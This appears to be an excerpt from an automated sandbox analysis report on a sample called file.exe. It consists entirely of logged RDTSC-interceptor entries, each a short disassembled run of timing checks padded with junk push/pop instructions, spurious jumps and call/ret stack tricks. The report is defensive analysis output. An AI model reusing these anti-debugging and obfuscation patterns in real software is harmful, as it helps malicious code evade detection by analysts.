Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BD7D second address: 110BD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnp 00007F227C74F4A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BD8B second address: 110BDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F227C7FC3D6h 0x0000000a popad 0x0000000b jmp 00007F227C7FC3DCh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jmp 00007F227C7FC3E5h 0x00000019 pop eax 0x0000001a jng 00007F227C7FC3D8h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BDC4 second address: 110BDC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BDC9 second address: 110BDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BDCF second address: 110BDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FA01 second address: 110FA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FA08 second address: 110FA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FA13 second address: 110FA2D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F227C7FC3E5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FB86 second address: 110FBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F227C74F4B9h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F227C74F4B8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FBC2 second address: 110FBD5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F227C7FC3D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FFD8 second address: 110FFE2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F227C74F4A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FFE2 second address: 110FFE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11101AF second address: 11101B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110302 second address: 111030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F227C7FC3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111030C second address: 1110340 instructions: 0x00000000 rdtsc 0x00000002 js 00007F227C74F4A6h 0x00000008 jns 00007F227C74F4A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F227C74F4B9h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jc 00007F227C74F4ACh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111141D second address: 1111423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111178D second address: 1111793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111793 second address: 1111797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111197E second address: 1111988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F227C74F4A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111A6F second address: 1111A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F227C7FC3D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111257E second address: 1112590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111271F second address: 1112725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112725 second address: 1112729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112BCD second address: 1112BE9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c js 00007F227C7FC3DCh 0x00000012 jo 00007F227C7FC3D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112BE9 second address: 1112C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F227C74F4A8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jno 00007F227C74F4ACh 0x0000002b mov esi, dword ptr [ebp+122D2C5Dh] 0x00000031 push 00000000h 0x00000033 mov esi, 29FFCEADh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F227C74F4A8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 js 00007F227C74F4ACh 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112C64 second address: 1112C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112C6B second address: 1112C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F227C74F4B8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DFE second address: 1114E14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F227C7FC3DEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11135C8 second address: 11135CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E14 second address: 1114E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116986 second address: 111698B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111698B second address: 11169CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F227C7FC3D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F227C7FC3D8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jg 00007F227C7FC3D6h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11169CF second address: 11169D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11169D4 second address: 11169D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E35 second address: 1117E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E39 second address: 1117E42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119492 second address: 1119518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F227C74F4A8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+12444C2Dh], edx 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d xor edi, 38FEF7DAh 0x00000033 pop edi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F227C74F4A8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 jmp 00007F227C74F4B6h 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b pop ecx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117B75 second address: 1117B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119518 second address: 111951E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111951E second address: 1119540 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F227C7FC3E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119540 second address: 1119545 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C5B0 second address: 111C5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3E5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D5F6 second address: 111D61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 xor dword ptr [ebp+122D199Eh], edx 0x0000000f push 00000000h 0x00000011 mov di, DC48h 0x00000015 push 00000000h 0x00000017 mov di, E072h 0x0000001b mov di, ax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 push edx 0x00000023 pop edx 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E70E second address: 111E718 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E718 second address: 111E72A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F227C74F4A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E72A second address: 111E72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111923B second address: 1119240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F82F second address: 111F869 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F227C7FC3E9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1246E48Ah], ebx 0x00000011 push 00000000h 0x00000013 mov edi, dword ptr [ebp+122D182Eh] 0x00000019 push 00000000h 0x0000001b mov ebx, dword ptr [ebp+122DB470h] 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120862 second address: 1120879 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F227C74F4ADh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119D03 second address: 1119D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C727 second address: 111C72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C72B second address: 111C72F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D89AB second address: 10D89B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D89B3 second address: 10D89B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D89B7 second address: 10D89CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F227C74F4A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F227C74F4A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126C62 second address: 1126CE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F227C7FC3D8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F227C7FC3D8h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000019h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 push 00000000h 0x00000044 sub dword ptr [ebp+1246B3F0h], ebx 0x0000004a xchg eax, esi 0x0000004b jmp 00007F227C7FC3E9h 0x00000050 push eax 0x00000051 jnp 00007F227C7FC3DEh 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F9C1 second address: 111F9DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227B3 second address: 11227B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227B7 second address: 11227C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227C8 second address: 11227CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227CE second address: 11227D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227D2 second address: 112285B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or dword ptr [ebp+122D18F0h], edx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov bx, si 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 jg 00007F227C7FC3F7h 0x0000002c mov eax, dword ptr [ebp+122D0A99h] 0x00000032 mov dword ptr [ebp+122D199Eh], ecx 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007F227C7FC3D8h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D2920h], edi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f pop eax 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112285B second address: 1122869 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F227C74F4A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122869 second address: 112286D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BF97 second address: 112BFA4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BFA4 second address: 112BFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F227C7FC3D6h 0x0000000a popad 0x0000000b jmp 00007F227C7FC3E1h 0x00000010 popad 0x00000011 nop 0x00000012 jno 00007F227C7FC3DCh 0x00000018 push 00000000h 0x0000001a jng 00007F227C7FC3D6h 0x00000020 push 00000000h 0x00000022 jmp 00007F227C7FC3E4h 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BFF2 second address: 112C01D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F227C74F4ACh 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jo 00007F227C74F4A8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F227C74F4ACh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127F99 second address: 1127F9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127F9F second address: 1127FC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127FC3 second address: 1127FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124864 second address: 1124868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CFC5 second address: 112D066 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F227C7FC3D8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D35B1h], ecx 0x0000002a mov bx, F442h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F227C7FC3D8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a jmp 00007F227C7FC3E7h 0x0000004f push 00000000h 0x00000051 xor dword ptr [ebp+122D1F82h], esi 0x00000057 jc 00007F227C7FC3DCh 0x0000005d mov edi, dword ptr [ebp+122D2AE5h] 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 ja 00007F227C7FC3EAh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D1D6 second address: 112D1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11332AA second address: 11332BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F227C7FC3DFh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5D3 second address: 113A5E5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F227C74F4A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F227C74F4A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5E5 second address: 113A5EF instructions: 0x00000000 rdtsc 0x00000002 je 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5EF second address: 113A615 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C74F4AEh 0x00000008 jno 00007F227C74F4A6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push esi 0x00000011 jo 00007F227C74F4A6h 0x00000017 jne 00007F227C74F4A6h 0x0000001d pop esi 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push ecx 0x00000021 push edi 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A615 second address: 113A61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E788 second address: 113E797 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F227C74F4A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11450E8 second address: 11450F2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145800 second address: 1145847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F227C74F4B3h 0x00000008 jnc 00007F227C74F4A6h 0x0000000e ja 00007F227C74F4A6h 0x00000014 popad 0x00000015 jmp 00007F227C74F4B9h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edx 0x0000001d jnp 00007F227C74F4ACh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
